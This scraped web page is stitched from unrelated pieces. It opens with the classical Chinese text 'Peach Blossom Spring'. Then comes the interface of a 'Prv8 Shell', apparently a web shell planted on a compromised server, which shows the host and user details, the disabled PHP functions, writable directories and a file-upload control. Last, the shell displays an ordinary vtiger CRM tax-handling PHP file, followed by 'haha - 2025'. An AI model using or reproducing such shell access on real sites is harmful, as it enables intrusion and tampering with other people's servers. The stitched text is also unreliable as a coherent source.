晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/include/Webservices/LineItem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/include/Webservices/LineItem/VtigerTaxOperation.php
<?php
/*+*******************************************************************************
 *  The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *
 *********************************************************************************/

require_once "include/Webservices/VtigerActorOperation.php";
require_once 'include/Webservices/LineItem/VtigerTaxMeta.php';
require_once("include/events/include.inc");
require_once 'modules/com_vtiger_workflow/VTEntityCache.inc';
require_once 'data/CRMEntity.php';
require_once 'include/events/SqlResultIterator.inc';
require_once 'include/Webservices/LineItem/VtigerLineItemMeta.php';
require_once 'include/Webservices/Retrieve.php';
require_once 'include/Webservices/Update.php';
require_once 'include/Webservices/Utils.php';
require_once 'modules/Emails/mail.php';


/**
 * Description of VtigerTaxOperation
 */
class VtigerTaxOperation  extends VtigerActorOperation {

	public function __construct($webserviceObject, $user, $adb, $log) {
		parent::__construct($webserviceObject,$user,$adb,$log);
		$this->entityTableName = $this->getActorTables();
		if($this->entityTableName === null){
			throw new WebServiceException(WebServiceErrorCode::$UNKOWNENTITY,"Entity is not associated with any tables");
		}
		$this->meta = new VtigerTaxMeta($this->entityTableName,$webserviceObject,$adb,$user);
		$this->moduleFields = null;
	}

	public function create($elementType, $taxElement) {
		$element = $this->restrictFields($taxElement);

		$taxFormula = $taxElement[$taxElement['taxname'].'_formula'];
		if (!$taxFormula) {
			$taxFormula = $taxElement['formula'];
		}
		$element['formula'] = $taxFormula;

		$taxName = $this->getNewTaxName();
		$element['taxname'] = $taxName;
		$element['deleted'] = 0;
		$element = $this->sanitizeElementForInsert($element);
		$createdElement = parent::create($elementType, $element);
		$sql = "alter table vtiger_inventoryproductrel add column $taxName decimal(7,3)";
		$result = $this->pearDB->pquery($sql,array());
		if(!is_object($result)) {
			list($typeId,$id) = vtws_getIdComponents($element['id']);
			$this->dropRow($id);
			throw new WebServiceException(WebServiceErrorCode::$DATABASEQUERYERROR,
				"Database error while adding tax column($taxName) for inventory lineitem table");
		}
		return $createdElement;
	}

	public function update($element) {
		$element['taxname'] = $this->getTaxName($element);
		$element = $this->sanitizeElementForInsert($element);

		return parent::update($element);
	}

	public function delete($id) {
		$ids = vtws_getIdComponents($id);
		$elemId = $ids[1];

		$result = null;
		$query = 'update '.$this->entityTableName.' set deleted=1 where '.$this->meta->getObectIndexColumn().'=?';
		$transactionSuccessful = vtws_runQueryAsTransaction($query,array($elemId),$result);
		if(!$transactionSuccessful){
			throw new WebServiceException(WebServiceErrorCode::$DATABASEQUERYERROR,
				"Database error while performing required operation");
		}
		return array("status"=>"successful");
	}

	private function dropRow($id) {
		$sql = 'delete from vtiger_inventorytaxinfo where taxid = ?';
		$params = array($id);
		$result = $this->pearDB->pquery($sql, $params);
	}

	private function getCurrentTaxName() {
		$sql = 'select taxname from vtiger_inventorytaxinfo order by taxid desc limit 1';
		$params = array();
		$result = $this->pearDB->pquery($sql, $params);
		$it = new SqlResultIterator($this->pearDB, $result);
		$currentTaxName = null;
		foreach ($it as $row) {
			$currentTaxName = $row->taxname;
		}
		return $currentTaxName;
	}

	/**
	 * Function get tax name
	 * @param <Array> $element
	 * @return <String> taxName
	 */
	private function getTaxName($element) {
		if ($element['taxlabel']) {
			$sql = 'SELECT taxname FROM vtiger_inventorytaxinfo WHERE taxlabel = ?';
			$params = array($element['taxlabel']);
			$result = $this->pearDB->pquery($sql, $params);
			$it = new SqlResultIterator($this->pearDB, $result);
			$taxName = NULL;
			foreach ($it as $row) {
				$taxName = $row->taxname;
			}
			return $taxName;
		}
		return $this->getCurrentTaxName();
	}

	private function getNewTaxName() {
		$currentTaxName = $this->getCurrentTaxName();

		if(empty($currentTaxName)) {
			return 'tax1';
		}

		$matches = null;
		if ( preg_match('/tax(\d+)/', $currentTaxName, $matches) != 0 ) {
			$taxNumber = (int) $matches[1];
			$taxNumber++;
			return 'tax'.$taxNumber;
		}
		return 'tax1';
	}

	public function retrieve($id) {
		$element = parent::retrieve($id);

		//Constructing regions as element fields
		$regions = Zend_Json::decode(html_entity_decode($element['regions']));
		if ($regions) {
			$allRegions = getAllRegions();
			foreach ($allRegions as $regionId => $regionInfo) {
				$regionInfo['name'] = strtolower(str_replace(' ', '_', $regionInfo['name']));
				$allRegions[$regionId] = $regionInfo;
			}

			foreach ($regions as $regionInfo) {
				foreach ($regionInfo['list'] as $regionId) {
					$element[$allRegions[$regionId]['name']] = $regionInfo['value'];
				}
			}
		}
		unset($element['regions']);

		//Constructing compound info as element field
		$compoundOn	= Zend_Json::decode(html_entity_decode($element['compoundon']));
		if ($compoundOn) {
			$allTaxes = array();
			$allItemTaxes = getAllTaxes();
			foreach ($allItemTaxes as $taxInfo) {
				$allTaxes[$taxInfo['taxid']] = $taxInfo;
			}

			$compoundInfo = '';
			foreach ($compoundOn as $taxId) {
				$compoundInfo = "$compoundInfo+".$allTaxes[$taxId]['taxname'];
			}
			$element[$element['taxname'].'_formula'] = ltrim($compoundInfo, '+');
		}
		unset($element['compoundon']);

		return $element;
	}

	/**
	 * Function to sanitize element for insert
	 * @param <Array> $element
	 * @return <Array>
	 */
	private function sanitizeElementForInsert($element) {
		$compoundOn = $regions = array();
		$type = 'Fixed';
		$method = 'Simple';

		$taxFormula = $element[$element['taxname'].'_formula'];
		if (!$taxFormula) {
			$taxFormula = $element['formula'];
		}

		if ($taxFormula) {
			$taxFormulaElements = explode('+', $taxFormula);
			$sql = 'SELECT taxid, method FROM vtiger_inventorytaxinfo WHERE taxname IN ('.generateQuestionMarks($taxFormulaElements).')';
			$params = $taxFormulaElements;
			$result = $this->pearDB->pquery($sql, $params);
			$it = new SqlResultIterator($this->pearDB, $result);
			foreach ($it as $row) {
				if ($row->method === 'Simple') {
					$compoundOn[] = $row->taxid;
				}
			}
		}
		if ($compoundOn) {
			$method = 'Compound';
		}

		$regionsList = array();
		$allRegions = getAllRegions();
		foreach ($allRegions as $regionId => $regionInfo) {
			$regionName = strtolower(str_replace(' ', '_', $regionInfo['name']));
			if (array_key_exists($regionName, $element)) {
				$regionValue = $element[$regionName];
				$regionsList[$regionValue][] = $regionId;
			}
		}

		foreach ($regionsList as $regionValue => $regions) {
			$regions[] = array('list' => $regions, 'value' => $regionValue);
		}
		if ($regions) {
			$type = 'Variable';
		}

		if ($element['method'] === 'Deducted' && !$compoundOn && !$regions) {
			$method = 'Deducted';
		}

		$element['type'] = $type;
		$element['method'] = $method;
		$element['regions'] = Zend_Json::encode($regions);
		$element['compoundon'] = Zend_Json::encode($compoundOn);

		return $element;
	}

}
?>

haha - 2025